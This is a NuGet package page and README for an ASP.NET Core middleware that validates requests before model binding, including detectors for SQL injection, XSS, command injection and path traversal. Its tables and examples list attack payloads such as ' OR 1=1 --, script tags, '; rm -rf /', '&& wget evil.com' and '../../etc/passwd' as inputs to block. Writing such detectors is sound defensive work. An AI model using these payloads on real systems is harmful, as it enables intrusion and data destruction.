Nedo.AspNet.Request.InputValidation
1.0.2
dotnet add package Nedo.AspNet.Request.InputValidation --version 1.0.2
NuGet\Install-Package Nedo.AspNet.Request.InputValidation -Version 1.0.2
<PackageReference Include="Nedo.AspNet.Request.InputValidation" Version="1.0.2" />
<PackageVersion Include="Nedo.AspNet.Request.InputValidation" Version="1.0.2" />
<PackageReference Include="Nedo.AspNet.Request.InputValidation" />
paket add Nedo.AspNet.Request.InputValidation --version 1.0.2
#r "nuget: Nedo.AspNet.Request.InputValidation, 1.0.2"
#:package Nedo.AspNet.Request.InputValidation@1.0.2
#addin nuget:?package=Nedo.AspNet.Request.InputValidation&version=1.0.2
#tool nuget:?package=Nedo.AspNet.Request.InputValidation&version=1.0.2
Nedo.AspNet.Request.InputValidation
Middleware-level input validation library for ASP.NET Core. Validates the format, structure, and safety of HTTP requests before model binding — catching threats that field-level validation ([Required], [Range], etc.) cannot.
Table of Contents
- Why This Library?
- Where It Fits
- Installation
- Quick Start
- Configuration
- Configuration Options Reference
- Validators
- Error Codes
- Error Response Format
- Excluding Paths
- Custom Validators
- Relationship with Field-Level Validation
Why This Library?
Field-level validation ([Required], [EmailAddress], FluentValidation) validates property values after model binding. But it cannot protect against:
| Threat | Example |
|---|---|
| Invalid Content-Type | Sending text/xml to a JSON endpoint |
| Malformed JSON | { invalid json crashing the deserializer |
| Oversized Payloads | 100MB body on a simple form endpoint |
| Deep Nesting Attacks | Deeply nested JSON causing stack overflow |
| Invalid MIME Types | Malformed Content-Type header syntax |
| SQL Injection | ' OR 1=1 -- in query or body |
| XSS Attacks | <script>alert('xss')</script> in input |
| Command Injection | ; rm -rf / in request fields |
| Path Traversal | ../../etc/passwd in file paths |
Nedo.AspNet.Request.InputValidation fills this gap by validating at the HTTP pipeline level, before model binding occurs.
Where It Fits
HTTP Request
│
▼
┌──────────────────────────────────────┐
│ 🛡️ Request Input Validation │ ◄── THIS LIBRARY
│ (Content-Type, JSON, Size, Format) │
└──────────────┬───────────────────────┘
│
▼
┌──────────────────────────────────────┐
│ 📦 Model Binding & Deserialization │
└──────────────┬───────────────────────┘
│
▼
┌──────────────────────────────────────┐
│ ✅ Field-Level Validation │ ◄── [Required], [Range], etc.
└──────────────┬───────────────────────┘
│
▼
┌──────────────────────────────────────┐
│ 🎯 Controller / Endpoint Logic │
└──────────────────────────────────────┘
Installation
dotnet add package Nedo.AspNet.Request.InputValidation
Quick Start
1. Register Services
using Nedo.AspNet.Request.InputValidation;
var builder = WebApplication.CreateBuilder(args);
// Option A: Using appsettings.json
builder.Services.AddRequestInputValidation(
builder.Configuration.GetSection("NedoRequestInputValidation")
);
// Option B: Using code
builder.Services.AddRequestInputValidation(options =>
{
options.EnableFormatValidators = true;
options.MaxRequestBodySize = 10_000_000; // 10MB
options.MaxJsonDepth = 32;
options.AllowedContentTypes.Add("application/json");
});
2. Enable Middleware
Add the middleware to the pipeline before your endpoints:
var app = builder.Build();
app.UseRequestInputValidation(); // Add before MapControllers / MapEndpoints
app.MapControllers();
app.Run();
Configuration
Using appsettings.json (Recommended)
Add the NedoRequestInputValidation section to your appsettings.json:
{
"NedoRequestInputValidation": {
"EnableFormatValidators": true,
"EnableSecurityValidators": true,
"MaxJsonDepth": 32,
"MaxRequestBodySize": 10485760,
"AllowedContentTypes": [
"application/json",
"multipart/form-data"
],
"ExcludedPaths": [
"/hub",
"/signalr"
]
}
}
Then bind it in Program.cs:
builder.Services.AddRequestInputValidation(
builder.Configuration.GetSection("NedoRequestInputValidation")
);
Note: When using
appsettings.json, theAllowedContentTypeslist is exactly what you define — there are no hidden defaults. If you don't configure it, all content types are allowed.
Using Code
builder.Services.AddRequestInputValidation(options =>
{
options.EnableFormatValidators = true;
options.MaxRequestBodySize = 5_000_000;
options.MaxJsonDepth = 10;
options.AllowedContentTypes.Add("application/json");
options.AllowedContentTypes.Add("multipart/form-data");
options.ExcludedPaths.Add("/hub");
});
Configuration Options Reference
| Option | Type | Default | Description |
|---|---|---|---|
EnableSecurityValidators |
bool |
true |
Enable security validators (SQL Injection, XSS, Command Injection, Path Traversal) |
EnableContentValidators |
bool |
true |
Enable content validators (Required fields, etc.) — reserved for future phases |
EnableEncodingValidators |
bool |
true |
Enable encoding validators (UTF-8, binary rejection) — reserved for future phases |
EnableFormatValidators |
bool |
true |
Enable format validators (Content-Type, JSON syntax, body size) |
MaxJsonDepth |
int |
32 |
Maximum allowed JSON nesting depth |
MaxRequestBodySize |
long |
30,000,000 |
Maximum request body size in bytes (~30MB) |
AllowedContentTypes |
List<string> |
[] (empty) |
Allowed Content-Type values. Empty = allow all |
ExcludedPaths |
List<string> |
[] (empty) |
Request paths to skip validation (prefix match, case-insensitive) |
Validators
InputFormat Validators
Controlled by EnableFormatValidators. Validate the format and structure of the HTTP request.
ContentTypeValidator
Order: 10 | Error Codes: INV-FMT-001, INV-FMT-002
Validates the Content-Type header of incoming requests.
- Skips validation when request has no body (
ContentLengthis 0 or null) - Skips validation when
AllowedContentTypesis empty (not configured) - Handles charset parameters (e.g.,
application/json; charset=utf-8→ checksapplication/json)
Examples:
✅ POST /api/data Content-Type: application/json → Passes (if "application/json" is allowed)
✅ POST /api/data Content-Type: application/json; charset=utf-8 → Passes
❌ POST /api/data Content-Type: text/xml → INV-FMT-002 (not in allowed list)
❌ POST /api/data (no Content-Type header) → INV-FMT-001 (missing)
MediaTypeValidator
Order: 11 | Error Code: INV-FMT-003
Validates that the Content-Type header is a syntactically valid MIME type (RFC compliant).
- Skips validation when Content-Type is not present
- Uses
MediaTypeHeaderValue.TryParse()for RFC-compliant parsing
Examples:
✅ Content-Type: application/json → Passes (valid syntax)
✅ Content-Type: multipart/form-data → Passes
❌ Content-Type: invalid-format/ → INV-FMT-003 (invalid MIME syntax)
InputStreamValidator
Order: 5 | Error Code: INV-FMT-004
Validates the size of the request body based on the Content-Length header. Runs early in the pipeline to reject oversized payloads before any processing.
Examples:
✅ POST /api/data Content-Length: 1024 (MaxRequestBodySize: 10MB) → Passes
❌ POST /api/data Content-Length: 50MB (MaxRequestBodySize: 10MB) → INV-FMT-004
JsonFormatValidator
Order: 20 | Error Codes: INV-FMT-005, INV-FMT-006
Validates that the request body contains valid JSON syntax before model binding attempts deserialization. Also enforces maximum nesting depth.
- Only validates requests with
Content-Type: application/json - Enables request body buffering so the stream can be re-read by model binding
- Resets the stream position after validation
Examples:
✅ {"name": "John", "age": 30} → Passes
❌ {"name": "John", "age": → INV-FMT-005 (invalid JSON)
❌ {"a":{"b":{"c":{"d":1}}}} (MaxDepth: 2) → INV-FMT-005 (depth exceeded)
InputSecurity Validators
Controlled by EnableSecurityValidators. Detect and block common attack patterns by scanning query strings and JSON body values recursively.
All security validators extend BaseInputSecurityValidator, which provides:
- Input normalization — URL-decodes (including double-encoding like
%2527), collapses whitespace/newlines before matching - Regex timeouts — all patterns enforce a 250ms evaluation limit to prevent ReDoS attacks
- Recursive JSON scanning — all string values in nested objects/arrays are checked
SqlInjectionValidator
Order: 100 | Error Code: INV-SEC-001
Detects SQL injection patterns in request input. Patterns require realistic SQL syntax context to minimize false positives — bare keywords like "update" or "select" in natural language are not flagged.
Detected patterns:
| Category | Examples |
|---|---|
| SQL statements (with identifier support) | SELECT * FROM users, SELECT id FROM dbo.Users WHERE id=1, INSERT INTO [accounts](id) VALUES(1), UPDATE users SET admin=1, DELETE FROM sessions WHERE id=1, DROP TABLE IF EXISTS users |
| Tautology / auth bypass | ' OR 1=1, ' OR 'a'='a', ' OR TRUE, ') OR (1)=(1), ' AND 1=1 |
| Comment & termination injection | ' --, '; --, ')--, ' #, ')#, standalone /* or */ tokens |
| Keyword splitting obfuscation | SE/**/LECT, UN/**/ION, FR/**/OM |
| Dangerous procedures | xp_cmdshell, sp_executesql, sp_oacreate, OPENROWSET(), OPENDATASOURCE() |
| Time-based blind injection | WAITFOR DELAY (SQL Server), BENCHMARK() (MySQL), SLEEP() (MySQL), pg_sleep() (PostgreSQL) |
| Metadata probing | INFORMATION_SCHEMA, sys.tables, sys.columns, @@version |
| URL-encoded bypass | %27 OR 1=1 -- (decoded to ' OR 1=1 -- before matching) |
Identifier support: Patterns accept plain (users), bracket-quoted ([Users]), double-quoted ("Users"), backtick-quoted (`users`), and schema-qualified (dbo.Users) identifiers.
False-positive resistance:
✅ "how to update data" → Passes (bare keyword, no SQL syntax)
✅ "please select an option" → Passes
✅ "delete from your diet" → Passes (no WHERE clause)
✅ "Please select data from the list" → Passes (no SQL clause after table)
✅ "sp_help" → Passes (not a dangerous procedure)
✅ "drop me a line" → Passes (no TABLE/DATABASE after DROP)
❌ "SELECT * FROM users" → INV-SEC-001
❌ "' OR 1=1 --" → INV-SEC-001
❌ "%27 OR 1=1" → INV-SEC-001 (URL-decoded)
XssValidator
Order: 101 | Error Code: INV-SEC-002
Detects cross-site scripting (XSS) payloads in request input. Patterns focus on high-signal HTML context to avoid false positives on generic JavaScript identifiers in plain text.
Detected patterns:
| Category | Examples |
|---|---|
| Script tags | <script>, </script> |
| Inline event handlers (HTML attribute context) | <img onerror=...>, <div onload="..."> |
| Dangerous URI schemes (in HTML attributes) | href="javascript:...", src="data:text/html,...", action="vbscript:..." |
| Injection elements | <iframe>, <object>, <embed> |
| SVG / foreignObject | <svg>, <foreignObject> |
| HTML entity encoding bypass | <script |
| DOM sinks (HTML context only) | <... document.cookie ...>, <... window.location ...> |
Examples:
✅ {"comment": "Great article!"} → Passes
✅ {"note": "use document.cookie in JS"} → Passes (no HTML context)
❌ {"comment": "<script>alert('xss')</script>"} → INV-SEC-002
❌ ?q=<img src=x onerror=alert(1)> → INV-SEC-002
❌ {"url": "href=\"javascript:alert(1)\""} → INV-SEC-002
CommandInjectionValidator
Order: 102 | Error Code: INV-SEC-003
Detects OS command injection patterns in request input. This is a heuristic detector — primary defense should always be to never pass user input to a shell.
Detected patterns:
| Category | Examples |
|---|---|
| Shell metacharacters | \|, \|\|, &&, ; followed by commands |
| Command chaining | ; rm -rf /, \| cat /etc/passwd, && wget evil.com |
| Command substitution | `whoami`, $(id) |
| Redirection & pipes | > /tmp/x, 2>&1, \| sh, \| bash |
| Windows execution | cmd /c ..., powershell -enc ..., pwsh -Command ... |
| Absolute shell paths | /bin/sh, /bin/bash, /usr/bin/sh |
| Sensitive file probing | /etc/passwd, /etc/shadow, /etc/hosts |
Examples:
✅ {"filename": "report.pdf"} → Passes
✅ {"note": "use semicolons properly"} → Passes
❌ {"filename": "; rm -rf /"} → INV-SEC-003
❌ ?cmd=$(whoami) → INV-SEC-003
❌ {"input": "| cat /etc/passwd"} → INV-SEC-003
PathTraversalValidator
Order: 103 | Error Code: INV-SEC-004
Detects directory traversal attempts in request input. Intended for fields that represent file paths or filenames.
Detected patterns:
| Category | Examples |
|---|---|
| Dot-segment traversal | ../, ..\, /../, =/../ |
| URL-encoded variants | %2e%2e%2f, %2e%2e%5c, .%2e/, %2e./ |
| Double-encoded variants | %252e%252e |
| Windows drive paths | C:\, D:/ |
| UNC paths | \\server\share |
| Linux absolute paths | /etc/..., /proc/..., /sys/..., /root/..., /var/..., /home/... |
| Sensitive file targets | /etc/passwd, /etc/shadow, /windows/system32, /boot.ini |
Examples:
✅ {"path": "/images/photo.jpg"} → Passes
✅ {"note": "go to /home page"} → Passes
❌ {"path": "../../etc/passwd"} → INV-SEC-004
❌ ?file=%2e%2e/%2e%2e/etc/shadow → INV-SEC-004
❌ {"path": "C:\\windows\\system32"} → INV-SEC-004
InputContent Validators
Controlled by EnableContentValidators. Validate the JSON body structure before model binding using path-based rules defined in ContentValidationRules.
Configuration:
{
"NedoRequestInputValidation": {
"EnableContentValidators": true,
"ContentValidationRules": {
"/data": {
"RequiredFields": ["name", "value"],
"NonEmptyFields": ["name"],
"FieldTypes": {
"name": "string",
"value": "number"
},
"AllowUnexpectedFields": false
}
}
}
}
- Rules are matched by request path prefix (case-insensitive)
- Only
application/jsonrequests with a body are validated - Non-matching paths are skipped (no rule = no validation)
RequiredFieldsValidator
Order: 200 | Error Code: INV-CNT-001
Ensures all fields listed in RequiredFields exist in the JSON body.
✅ {"name": "John", "value": 42} → Passes
❌ {"name": "John"} → INV-CNT-001 (missing "value")
❌ {} → INV-CNT-001 (missing "name" and "value")
NonEmptyFieldsValidator
Order: 201 | Error Code: INV-CNT-002
Ensures fields listed in NonEmptyFields are not null, empty (""), or whitespace-only. Missing fields are skipped (handled by RequiredFieldsValidator).
✅ {"name": "John"} → Passes
❌ {"name": ""} → INV-CNT-002
❌ {"name": null} → INV-CNT-002
❌ {"name": " "} → INV-CNT-002
FieldDataTypesValidator
Order: 202 | Error Code: INV-CNT-003
Validates JSON value kinds match the FieldTypes map. Supported types: string, number, boolean, array, object. Null values always pass type checks (use NonEmptyFields for non-null enforcement).
✅ {"name": "John", "value": 42} → Passes
✅ {"name": null} → Passes (null allowed)
❌ {"name": 123} → INV-CNT-003 (expected string)
❌ {"value": "forty-two"} → INV-CNT-003 (expected number)
UnexpectedFieldsValidator
Order: 203 | Error Code: INV-CNT-004
When AllowUnexpectedFields is false, rejects any fields not defined in RequiredFields, NonEmptyFields, or FieldTypes.
✅ {"name": "John", "value": 42} → Passes (both are known)
❌ {"name": "John", "hacker": true} → INV-CNT-004 ("hacker" not in schema)
InputStructure Validators
Controlled by EnableStructureValidators. Extend ContentValidationRules to enforce field length constraints.
ArrayFieldConstraintsValidator
Order: 300 | Error Code: INV-STR-001
Enforces maximum number of items in array fields.
"MaxArrayLengths": { "tags": 5 }
✅ {"tags": ["a", "b"]} → Passes
❌ {"tags": ["1", "2", "3", ...]} → INV-STR-001 (exceeds limit)
FieldLengthConstraintsValidator
Order: 301 | Error Code: INV-STR-002
Enforces maximum character length for string fields.
"MaxStringLengths": { "username": 20 }
✅ {"username": "user123"} → Passes
❌ {"username": "very_long_name..."} → INV-STR-002 (exceeds 20 chars)
InputEncoding Validators
Controlled by EnableEncodingValidators.
EncodingValidator
Order: 50 | Error Code: INV-ENC-001
Ensures Content-Type header specifies UTF-8 charset (or omits it).
✅ Content-Type: application/json; charset=utf-8 → Passes
❌ Content-Type: application/json; charset=iso-8859-1 → INV-ENC-001
RejectBinaryInputValidator
Order: 51 | Error Code: INV-ENC-002
Scans JSON string values for null bytes (\0) which may indicate binary data injection attempts.
✅ {"data": "text"} → Passes
❌ {"data": "image\u0000binary"} → INV-ENC-002
Error Codes
InputFormat Errors
| Code | Validator | Description |
|---|---|---|
INV-FMT-001 |
ContentTypeValidator | Content-Type header is missing |
INV-FMT-002 |
ContentTypeValidator | Content-Type is not in the allowed list |
INV-FMT-003 |
MediaTypeValidator | Content-Type has invalid MIME type syntax |
INV-FMT-004 |
InputStreamValidator | Request body exceeds maximum size |
INV-FMT-005 |
JsonFormatValidator | Invalid JSON syntax or depth exceeded |
INV-FMT-006 |
JsonFormatValidator | Unable to read request body |
InputSecurity Errors
| Code | Validator | Description |
|---|---|---|
INV-SEC-001 |
SqlInjectionValidator | Potential SQL injection detected |
INV-SEC-002 |
XssValidator | Potential XSS attack detected |
INV-SEC-003 |
CommandInjectionValidator | Potential command injection detected |
INV-SEC-004 |
PathTraversalValidator | Potential path traversal detected |
InputContent Errors
| Code | Validator | Description |
|---|---|---|
INV-CNT-001 |
RequiredFieldsValidator | Required field is missing from JSON body |
INV-CNT-002 |
NonEmptyFieldsValidator | Field is null, empty, or whitespace-only |
INV-CNT-003 |
FieldDataTypesValidator | Field value type does not match expected type |
INV-CNT-004 |
UnexpectedFieldsValidator | Unknown field not in the content schema |
InputStructure Errors
| Code | Validator | Description |
|---|---|---|
INV-STR-001 |
ArrayFieldConstraintsValidator | Array field exceeds maximum items |
INV-STR-002 |
FieldLengthConstraintsValidator | String field exceeds maximum length |
InputEncoding Errors
| Code | Validator | Description |
|---|---|---|
INV-ENC-001 |
EncodingValidator | Content-Type has unsupported charset |
INV-ENC-002 |
RejectBinaryInputValidator | Binary data (null bytes) detected |
Error Response Format
When validation fails, the middleware returns 400 Bad Request with a detailed JSON response including the input data that caused the error:
{
"success": false,
"status_code": 400,
"code": "ERR-VAL-STR", // Top-level code based on error category (SEC, FMT, CNT, STR, ENC)
"message": "Input Structure Validation failed",
"error": [
{
"data": "very_long_name...", // The input value that failed validation
"errorDetails": {
"inputErrors": [
{
"code": "INV-STR-002",
"message": "String field 'username' exceeds maximum length of 20 characters.",
"field": "username",
"category": "InputStructure"
}
]
}
}
]
}
Top-level codes:
ERR-VAL-SEC: Security validation failure (Highest priority)ERR-VAL-FMT: Format validation failureERR-VAL-CNT: Content schema failureERR-VAL-STR: Structure constraint failureERR-VAL-ENC: Encoding failureERR-VAL-GEN: General validation failure
Multiple errors can be returned in a single response if multiple validators detect issues.
Excluding Paths
Use ExcludedPaths to skip validation for specific routes. This is useful for:
- SignalR hubs (
/hub,/signalr) — WebSocket negotiation has different content patterns - Health checks (
/health,/ready) - Static files or other non-API endpoints
{
"NedoRequestInputValidation": {
"ExcludedPaths": [
"/hub",
"/signalr",
"/health"
]
}
}
Path matching is prefix-based and case-insensitive:
/hubmatches/hub,/hub/negotiate,/hub/stream, etc./api/internalmatches/api/internal/status,/api/internal/debug, etc.
Custom Validators
You can create your own validators by implementing IRequestInputValidator:
using Microsoft.AspNetCore.Http;
using Nedo.AspNet.Request.InputValidation.Contracts;
public class CustomHeaderValidator : IRequestInputValidator
{
public int Order => 15; // Controls execution order (lower = first)
public Task<InputValidationResult> ValidateAsync(HttpContext context)
{
if (!context.Request.Headers.ContainsKey("X-Api-Key"))
{
return Task.FromResult(InputValidationResult.Failure(new InputValidationError
{
Code = "INV-CUS-001",
Message = "X-Api-Key header is required.",
Field = "Header:X-Api-Key",
Category = "Custom"
}));
}
return Task.FromResult(InputValidationResult.Success);
}
}
Register it in DI:
builder.Services.AddSingleton<IRequestInputValidator, CustomHeaderValidator>();
Relationship with Field-Level Validation
| Aspect | Field-Level Validation | Request Input Validation (This Library) |
|---|---|---|
| Level | Property level | HTTP Request / Pipeline level |
| When | After model binding | Before model binding |
| What | Property values (string, int, DateTime) |
Raw request (headers, body stream) |
| Focus | Correctness (format, range, pattern) | Safety (format, size, structure) |
| Integration | Attributes, FluentValidation | Middleware |
| Error Codes | VAL-xxx-xxx |
INV-xxx-xxx |
Use both together for a complete validation pipeline:
Request → [Input Validation] → [Model Binding] → [Field Validation] → Controller
🛡️ Safety 📦 Parse ✅ Correctness 🎯 Logic
License
MIT
| Product | Versions Compatible and additional computed target framework versions. |
|---|---|
| .NET | net9.0 is compatible. net9.0-android was computed. net9.0-browser was computed. net9.0-ios was computed. net9.0-maccatalyst was computed. net9.0-macos was computed. net9.0-tvos was computed. net9.0-windows was computed. net10.0 was computed. net10.0-android was computed. net10.0-browser was computed. net10.0-ios was computed. net10.0-maccatalyst was computed. net10.0-macos was computed. net10.0-tvos was computed. net10.0-windows was computed. |
-
net9.0
- No dependencies.
NuGet packages
This package is not used by any NuGet packages.
GitHub repositories
This package is not used by any popular GitHub repositories.